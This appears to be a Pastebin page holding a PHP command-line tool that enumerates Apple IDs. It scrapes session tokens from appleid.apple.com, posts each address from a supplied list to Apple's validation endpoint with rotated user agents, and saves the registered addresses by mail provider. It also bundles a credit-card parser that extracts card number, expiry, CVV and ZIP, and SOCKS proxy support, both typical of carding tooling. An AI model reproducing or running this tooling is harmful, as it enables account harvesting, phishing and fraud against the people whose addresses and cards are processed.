Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $listpath = $argv[1];
- $empass_list = file_get_contents($listpath);
- $empass_list_array = file($listpath);
- $empass = explode(PHP_EOL, $empass_list);
- $empass_list_lenght = count($empass_list_array);
- // require_once 'mailerClass/PHPMailerAutoload.php';
- ## CLASS CURL FUNCTIONING START HERE ___
- function check_exp($cc){
- $today = getdate();
- if($cc['year']+0 < $today['year']+0)
- return false;
- if($cc['year']+0 == $today['year']+0){
- if($cc['mon']+0 < $today['mon']+0)
- return false;
- }
- return true;
- }
- function fetchCurlCookies($source){
- preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $source, $matches);
- $cookies = array();
- foreach($matches[1] as $item) {
- parse_str($item, $cookie);
- $cookies = array_merge($cookies, $cookie);
- }
- return $cookies;
- }
- function randStr($len){
- $randstr = '';
- srand((double)microtime()*1000000);
- for($i=0;$i<$len;$i++){
- $n = rand(48,120);
- while (($n >= 58 && $n <= 64) || ($n >= 91 && $n <= 96)){
- $n = rand(48,120);
- }
- $randstr .= chr($n);
- }
- return $randstr;
- }
- function isEmail($email) {
- if( !preg_match("/^[_a-z0-9-]+(.[_a-z0-9-]+)*@[a-z0-9-]+(.[a-z0-9-]+)*(.[a-z]{2,3})$/i", $email) )
- return false;
- return true;
- }
- function get_char($str, $sl){
- $str = strip_tags($str);
- $mang = explode(" ",$str);
- $chuoi = "";
- for($i=0;$i<$sl;$i++){
- $chuoi .= $mang[$i]." ";
- }
- return trim($chuoi);
- }
- function getsock($socks){
- preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[:|-\s\/]\d{1,7}/", $socks, $s);
- return $s[0];
- }
- function value($s,$from,$to){
- $s = explode($from,$s);
- $s = explode($to,$s[1]);
- return $s[0];
- }
- class curl {
- var $ch, $agent, $error, $info, $cookiefile, $savecookie;
- function curl() {
- $this->agent = $this->get_agent(rand(0,44));
- $this->ch = curl_init();
- curl_setopt ($this->ch, CURLOPT_USERAGENT, $this->agent);
- curl_setopt ($this->ch, CURLOPT_HEADER, 1);
- curl_setopt ($this->ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($this->ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt ($this->ch, CURLOPT_SSL_VERIFYHOST, 2);
- curl_setopt ($this->ch, CURLOPT_FOLLOWLOCATION,true);
- curl_setopt ($this->ch, CURLOPT_TIMEOUT, 30);
- curl_setopt ($this->ch, CURLOPT_CONNECTTIMEOUT,30);
- }
- function http_code() {
- return curl_getinfo($this->ch, CURLINFO_HTTP_CODE);
- }
- function timeout($time){
- curl_setopt ($this->ch, CURLOPT_TIMEOUT, $time);
- curl_setopt ($this->ch, CURLOPT_CONNECTTIMEOUT,$time);
- }
- function ssl($veryfyPeer, $verifyHost){
- curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, $veryfyPeer);
- curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, $verifyHost);
- }
- function header($header) {
- curl_setopt ($this->ch, CURLOPT_HTTPHEADER, $header);
- }
- function login($user, $pass) {
- curl_setopt ($this->ch, CURLOPT_USERPWD, "$user:$pass");
- }
- function cookies($cookie_file_path) {
- $this->cookiefile = $cookie_file_path;;
- $fp = fopen($this->cookiefile,'wb');fclose($fp);
- curl_setopt ($this->ch, CURLOPT_COOKIEJAR, $this->cookiefile);
- curl_setopt ($this->ch, CURLOPT_COOKIEFILE, $this->cookiefile);
- }
- function ref($ref) {
- curl_setopt ($this->ch, CURLOPT_REFERER,$ref);
- }
- function socks($sock) {
- curl_setopt ($this->ch, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt ($this->ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt ($this->ch, CURLOPT_PROXY, $sock);
- }
- function post($url, $data) {
- curl_setopt($this->ch, CURLOPT_POST, 1);
- curl_setopt($this->ch, CURLOPT_POSTFIELDS, $data);
- return $this->getPage($url);
- }
- function data($url, $data, $hasHeader=true, $hasBody=true) {
- curl_setopt ($this->ch, CURLOPT_POST, 1);
- curl_setopt ($this->ch, CURLOPT_POSTFIELDS, http_build_query($data));
- return $this->getPage($url, $hasHeader, $hasBody);
- }
- function get($url, $hasHeader=true, $hasBody=true) {
- curl_setopt ($this->ch, CURLOPT_POST, 0);
- return $this->getPage($url, $hasHeader, $hasBody);
- }
- function getPage($url, $hasHeader=true, $hasBody=true) {
- curl_setopt($this->ch, CURLOPT_HEADER, $hasHeader ? 1 : 0);
- curl_setopt($this->ch, CURLOPT_NOBODY, $hasBody ? 0 : 1);
- curl_setopt ($this->ch, CURLOPT_URL, $url);
- $data = curl_exec ($this->ch);
- $this->error = curl_error ($this->ch);
- $this->info = curl_getinfo ($this->ch);
- return $data;
- }
- function close() {
- unlink($this->cookiefile);
- curl_close ($this->ch);
- }
- function get_agent($z){
- switch ($z){
- case 0: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"; break;
- case 1: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1"; break;
- case 2: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; break;
- case 3: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"; break;
- case 4: $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)"; break;
- case 5: $agent= "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; break;
- case 6: $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8) Gecko/2007100619 GranParadiso/3.0a8"; break;
- case 7: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3"; break;
- case 8: $agent= "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325)"; break;
- case 9: $agent= "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)"; break;
- case 10: $agent= "Mozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC)"; break;
- case 11: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"; break;
- case 12: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8)"; break;
- case 13: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)"; break;
- case 14: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)"; break;
- case 15: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"; break;
- case 16: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"; break;
- case 17: $agent= "Mozilla/5.0 (X11; U; Linux; it-IT) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 413 12f13f8)"; break;
- case 18: $agent= "Mozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 239 52c6958)"; break;
- case 19: $agent= "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 189 35c14e0)"; break;
- case 20: $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"; break;
- case 21: $agent= "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable"; break;
- case 22: $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)"; break;
- case 23: $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070521 Camino/1.6a1pre"; break;
- case 24: $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA"; break;
- case 25: $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6"; break;
- case 26: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1"; break;
- case 27: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Crazy Browser 3.0.0 Beta2)"; break;
- case 28: $agent= "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.12) Gecko/20080208 (Debian-1.8.1.12-2) Epiphany/2.20"; break;
- case 29: $agent= "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1"; break;
- case 30: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031212 Firebird/0.7+"; break;
- case 31: $agent= "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5"; break;
- case 32: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3"; break;
- case 33: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"; break;
- case 34: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"; break;
- case 35: $agent= "Mozilla/4.76 [en] (X11; U; Linux 2.4.9-34 i686)"; break;
- case 36: $agent= "Mozilla/4.75 [fr] (WinNT; U)"; break;
- case 37: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.52 [en]"; break;
- case 38: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; ; Linux i686) Opera 7.50 [en]"; break;
- case 39: $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8"; break;
- case 40: $agent= "Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309 SeaMonkey/1.0"; break;
- case 41: $agent= "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)"; break;
- case 42: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1"; break;
- case 43: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 "; break;
- case 44: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 "; break;
- }
- return $agent;
- }
- }
- class card{
- public $card;
- public function __construct($cc){
- $ccn = str_replace(' ','',$cc);
- $ccn = str_replace(',','|',$ccn);
- $ccn = str_replace('/','|',$ccn);
- $ccn = str_replace("%92",'|',$ccn);
- $ccn = str_replace('||','|',$ccn);
- $ccnum['num'] = $this->timnum($ccn);
- $date = $this->timexp($ccn);
- $time = explode('|',$date);
- $ccnum['mon'] = $time[0];
- $ccnum['year'] = $time[1];
- $ccnum['cvv'] = $this->timcvv($ccn,$date,$ccnum['num']);
- $ccnum['zip'] = $this->timzip($ccn);
- $ccnum['full'] = $ccnum['num']."|".$ccnum['mon']."|".$ccnum['year']."|".$ccnum['cvv'];
- $this->card = $ccnum;
- }
- function type($chuoi){
- $mang = explode(",",$chuoi);
- $n = left($this->card['num'],1);
- if($n==3)
- return $mang[0];
- if($n==4)
- return $mang[1];
- if($n==5)
- return $mang[2];
- if($n==6)
- return $mang[3];
- return '';
- }
- function timzip($cc){
- $cc = str_replace('-','|',$cc);
- $mang = explode("|",$cc);
- for($i=0;$i<count($mang);$i++)
- if(strlen($mang[$i])==5 && is_numeric($mang[$i]))
- return $mang[$i];
- return "";
- }
- function timcvv($dat,$vexp,$num){
- $mang = explode("|",$dat);
- $exp1 = explode("|",$vexp);
- $tcvv = '';
- for($j=0;$j<count($mang);$j++)
- {
- if(left($num,1)=='3')
- {
- if(test($mang[$j])==1&&strlen($mang[$j])==4&&$mang[$j]!=$exp1[1])
- {
- $tcvv = $mang[$j];
- }
- }
- else
- {
- if(test($mang[$j])==1&&strlen($mang[$j])==3)
- {
- $tcvv = $mang[$j];
- }
- }
- }
- if($tcvv == '')
- {
- if(left($num,1)!='3')
- $tcvv = '000';
- else
- $tcvv = '0000';
- }
- return $tcvv;
- }
- function timnum($str){
- $ccNum = '';
- $str=str_replace(" ","",$str);
- for($i=0;$i<=strlen($str);$i++){
- if(is_numeric($str[$i])){
- $ccNum.=$str[$i];
- if(strlen($ccNum)==15 && substr($ccNum,0,1) == '3'){
- return $ccNum;
- break;
- }
- elseif(strlen($ccNum)==16 && substr($ccNum,0,1) != '3'){
- return $ccNum;
- break;
- }
- else{}
- }
- else $ccNum='';
- }
- }
- function timexp($dat)
- {
- $dat = str_replace(' ','',$dat);
- $mang2 = explode("|",$dat);
- for($j=0;$j<count($mang2);$j++)
- {
- if(test($mang2[$j]) == 1&&strlen($mang2[$j])==4)
- {
- $mon = left($mang2[$j],2);
- $year = right($mang2[$j],2);
- if(test($mon)==1 && test($year)==1 && $mon + 0 > 0&& $mon + 0 <= 12 && $year + 0 > 0&& $year + 0 < 30)
- { $cexp = $mon.'|20'.$year; break;}
- }
- if(test($mang2[$j]) == 1&&strlen($mang2[$j])==6)
- {
- $mon = left($mang2[$j],2);
- $year = right($mang2[$j],4);
- if(test($mon)==1 && test($year)==1 && $mon + 0 > 0&& $mon + 0 <= 12 && $year + 0 > 2000&& $year + 0 < 2030)
- { $cexp = $mon.'|'.$year;
- break;}
- }
- if(test($mang2[$j])==1&&strlen($mang2[$j])==2&&strlen($mang2[$j+1])==4)
- {
- if($mang2[$j]+0>0&&$mang2[$j]+0<13&&$mang2[$j+1]>1000&&$mang2[$j+1]<2030)
- { $cexp = $mang2[$j]."|".$mang2[$j+1];
- break;}
- }
- if(test($mang2[$j])==1&&strlen($mang2[$j+1])==2&&strlen($mang2[$j])==4)
- {
- if($mang2[$j+1]+0>0&&$mang2[$j+1]+0<13&&$mang2[$j]>2000&&$mang2[$j]<2030){
- $cexp = $mang2[$j+1]."|".$mang2[$j];
- break;}
- }
- if(test($mang2[$j])==1&&strlen($mang2[$j])==2&&strlen($mang2[$j+1])==2&&test($mang2[$j+1])==1)
- {
- if($mang2[$j]+0>0&&$mang2[$j]+0<13&&$mang2[$j+1]>10&&$mang2[$j+1]<30)
- { $cexp = $mang2[$j]."|20".$mang2[$j+1];
- break;}
- if($mang2[$j+1]+0>0&&$mang2[$j+1]+0<13&&$mang2[$j]>10&&$mang2[$j]<30){
- $cexp = "20".$mang2[$j]."|".$mang2[$j+1];
- break;}
- }
- if(test($mang2[$j+1])==1&&strlen($mang2[$j])==1&&strlen($mang2[$j+1])==2)
- {
- if($mang2[$j]+0>0&&$mang2[$j]+0<13&&$mang2[$j+1]>10&&$mang2[$j+1]<30){
- $cexp = "0".$mang2[$j]."|20".$mang2[$j+1];
- break;}
- if($mang2[$j+1]+0>0&&$mang2[$j+1]+0<13&&$mang2[$j]>10&&$mang2[$j]<30){
- $cexp = "0".$mang2[$j+1]."|20".$mang2[$j];
- break;}
- }
- if(test($mang2[$j])==1&&strlen($mang2[$j+1])==1&&strlen($mang2[$j])==2)
- {
- if($mang2[$j+1]+0>0&&$mang2[$j+1]+0<13&&$mang2[$j]>10&&$mang2[$j]<30){
- $cexp = "0".$mang2[$j+1]."|20".$mang2[$j];
- break;}
- if($mang2[$j]+0>0&&$mang2[$j]+0<13&&$mang2[$j+1]>10&&$mang2[$j+1]<30){
- $cexp = "0".$mang2[$j]."|20".$mang2[$j+1];
- break;}
- }
- if(strlen($mang2[$j])==1&&strlen($mang2[$j+1])==4)
- {
- if($mang2[$j]+0>0&&$mang2[$j]+0<10&&$mang2[$j+1]>1000&&$mang2[$j+1]<2030){
- $cexp ="0".$mang2[$j]."|".$mang2[$j+1];
- break;}
- }
- if(strlen($mang2[$j+1])==1&&strlen($mang2[$j])==4)
- {
- if($mang2[$j+1]+0>0&&$mang2[$j+1]+0<10&&$mang2[$j]>1000&&$mang2[$j]<2030)
- {$cexp ="0".$mang2[$j+1]."|".$mang2[$j];
- break;}
- }
- }
- return $cexp;
- }
- }
- function getbetween($string, $start, $end){
- $string = " ".$string;
- $ini = strpos($string,$start);
- if ($ini == 0) return "";
- $ini += strlen($start);
- $len = strpos($string,$end,$ini) - $ini;
- return substr($string,$ini,$len);
- }
- function right($value, $count){
- return substr($value, ($count*-1));
- }
- function left($string, $count){
- return substr($string, 0, $count);
- }
- function test($vao)
- {
- if(is_numeric($vao))
- return 1;
- return 0;
- }
- function get_string($string, $start, $end){
- $string = " ".$string;
- $ini = strpos($string,$start);
- if ($ini == 0) return "";
- $ini += strlen($start);
- $len = strpos($string,$end,$ini) - $ini;
- return substr($string,$ini,$len);
- }
- function roundup($a){
- $b = explode(".",$a);
- if($b[1] + 0 > 0)
- return $b[0]+1;
- return $b[0]+0;
- }
- ## Class Curl Functioning ENDs Here ____
- ## Private Function
- function RandomKata($panjang) {
- $pstring = "REZAFIRDAUS1234567890SKXLRKAOWEUR";
- $plen = strlen($pstring);
- for ($i = 1; $i <= $panjang; $i++) {
- $start = rand(0,$plen);
- $unik.= substr($pstring, $start, 1);
- }
- return $unik;
- }
- $List = str_replace(' ','',$empass);
- if($api != "danaganteng" && $api == 'trial'){
- if($empass_list_lenght > 500){
- $code = 4;
- }else {
- $getapi = file_get_contents('http://auth.rzfrds12.cf/?api='.$api.'&nebar=1',true);
- $jsonapi = json_decode($getapi);
- $code = $jsonapi->code;
- $msg = $jsonapi->msg;
- $bal = $jsonapi->bal;
- }
- }else if($api =='danaganteng'){
- $code = 0;
- $msg = "Hello Admin";
- $bal = 999999999999;
- }
- function RZFRDS_ValAPPlev3($List,$save,$domen){
- //$letter = "apel.html";
- if($code == 0){
- $curl = new curl();
- $curl->cookies('cookies/'.md5($_SERVER['REMOTE_ADDR']).'.txt');
- //$curl->socks($sock);
- $curl->ssl(0, 2);
- $url = 'https://appleid.apple.com/account';
- $page = $curl->get($url); // load the page
- $sesid = getbetween($page,"sessionId: '","'");
- $api = getbetween($page,"apiKey: '","'");
- $scnt = getbetween($page,"scnt: '","'");
- $useragent = $curl->get_agent(rand(0,44));
- $postData = '"'.$List.'"';
- // $postData = json_encode($postData);
- $headers = array();
- $headers[] = "Host: appleid.apple.com";
- $headers[] = "Referer: https://appleid.apple.com/account";
- $headers[] = "Content-Type: application/json";
- $headers[] = "Accept: application/json, text/javascript, */*; q=0.01";
- $headers[] = "X-Apple-ID-Session-Id: ".$sesid;
- $headers[] = "X-Apple-Api-Key: ".$api;
- $headers[] = "scnt: ".$scnt;
- $headers[] = "X-Requested-With: XMLHttpRequest";
- $headers[] = "Connection: keep-alive";
- $headers[] = 'X-Apple-I-FD-Client-Info: {"U":"'.$useragent.'","L":"en-US","Z":"GMT+05:00","V":"1.1","F":"N0a44j1e3NlY5BSo9z4ofjb75PaK4Vpjt3Q9cUVlOrlve7FZ14xUC550iakAxw63UYOKES5jfzmkqOQkCoq7qKFMvsD7rpwoNJ9z4oYYLzZGgeWy24bT8sjrkRGyC_JxoPyjzA2O_3xihUaAQYzowRsb97FZ16XhayIz40DBMCYbUV8afuyPBDK43xhDnmccbguaDeyjaY2ftckuyPBDjaY1HGOg3ZLQ0FxOTWEN7DdFr_j29S1.tHoqvp4UdHz15tKSLDeoNv_1lV1dY.4I0OIcK697Hvj90zoEp.icCmeugH_2SWHGY5BNve.BNlYCa1nkBMfs.4kY"}';
- $curl->header($headers);
- $url = 'https://appleid.apple.com/account/validation/appleid';
- $page = $curl->post($url, $postData);
- $used = getbetween($page,'"used" : ',',');
- $valid = getbetween($page,'"valid" : ',',');
- $asw = getbetween($page,'"appleOwnedDomain" : ',',');
- if($used == 'true' && $valid == 'true' || $asw == 'true'){
- if($domen == 1){
- $toDay = date("d-M-Y");
- $hotmail = array('hotmail','msn','outlook','live','microsoft');
- $yahoo = array('yahoo','ymail','rocketmail');
- $aol = array('aol');
- $gmail = array('gmail');
- if(strpos($List,$hotmail[0]) ||strpos($List,$hotmail[1]) ||strpos($List,$hotmail[2]) ||strpos($List,$hotmail[3]) ||strpos($List,$hotmail[4])){
- $filter = 'hotfams';
- }else if(strpos($List,$yahoo[0]) || strpos($List,$yahoo[1]) || strpos($List,$yahoo[2]) ){
- $filter = 'yahoo';
- }else if(strpos($List,$aol[0])){
- $filter = 'aol';
- }else if(strpos($List,$gmail[0])){
- $filter = 'gmail';
- }else {
- $filter = 'other';
- }
- $save_file = $save."-".$toDay."-".$filter.".txt";
- $file = @fopen($save_file,"a");
- fwrite($file, $List."\n");
- fclose($file);
- return "\033[1;32m [REGISTERED] SAVED on ".$save_file;
- }else {
- $save_file = $save.".txt";
- $file = @fopen($save_file,"a");
- fwrite($file, $List."\n");
- fclose($file);
- return "\033[1;32m [REGISTERED] SAVED on ".$save_file;
- }
- }else if($used == 'false' && $valid == 'true'){
- return "\033[0;31m [NOT REGISTERED] ";
- }else {
- $file = @fopen("Unknown.html","a");
- fwrite($file, $page."\n=====================\n");
- fclose($file);
- return "\033[0m UNKNOWN";
- }
- }else if($code == -1){
- return "\033[0;31m Limit is Reached ";
- }else if($code == 4){
- return "\033[0;31m Maximum of Sending List is 500 List for TRIAL";
- }
- else if($code == 3){
- return "\033[0;31m API is Invalid";
- }else {
- return "\033[0;31m ERROR OCCURED ";
- }
- }
- //Attach an image file
- //$mail->addAttachment('images/phpmailer_mini.png');
- //send the message, check for errors
- echo "\033[0;33m [+]================================================[+]\n";
- echo "\033[0;36m Originally Created by Reza Firdaus \n";
- echo "\033[0;36m APPLE Email Validator CLi 2.0 Version \n";
- echo "\033[0;33m ================== \033[0;36m [RZFRDSAPPLEv2.0] \033[0;33m================== \n";
- echo "\033[0;36m Fast Checking based on Server used \n";
- echo "\033[0;36m Up to 90% Accurate checking \n";
- echo " \033[0;36m Eazy to Use \n";
- echo " \033[0;36m Please set the Results File name on this file. \n";
- echo " \033[0;33m ======================================================================\n";
- echo " \033[0;31m [?] HOW TO USE [?] \n";
- echo " \033[0;31m -- Command -- \n";
- echo " \033[0;31m php ".$argv[0]." list.txt \n";
- echo "\033[0;33m =========================================================================\n";
- echo "\033[0;36m Thanks to \n ";
- echo "\033[0;36m Rezafirdaus Team \n";
- echo "\033[0;33m [+]=================================[+]\n";
- echo "\n\n\n\n\n";
- for($i=0; $i<$empass_list_lenght; $i++){
- date_default_timezone_set('Asia/Jakarta');
- $timeServer = date("G:i:s");
- $toDay = date("d-M-Y");
- $anu = $i+1;
- if($argv[1]){
- echo "\033[1;33m[".$timeServer."] - [".$toDay."] - "."\033[0;35m [ ".$anu." of ".$empass_list_lenght." List ] ".$empass[$i]." \033[0m->";
- if(isEmail($empass[$i])){
- echo RZFRDS_ValAPPlev3($empass[$i],$save_to,$auto_save_by_domain)."\n";
- }else{
- echo " This is not valid email \n";
- }
- if($anu == $empass_list_lenght){
- echo " \033[0;34m ================================================================================== \n";
- echo " \033[0;34m [+] Checking Proccess Completed on ".$timeServer." GMT+7 [+]\n";
- }
- }else {
- echo "\033[0;31m Please input the right Command !!!! \n";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement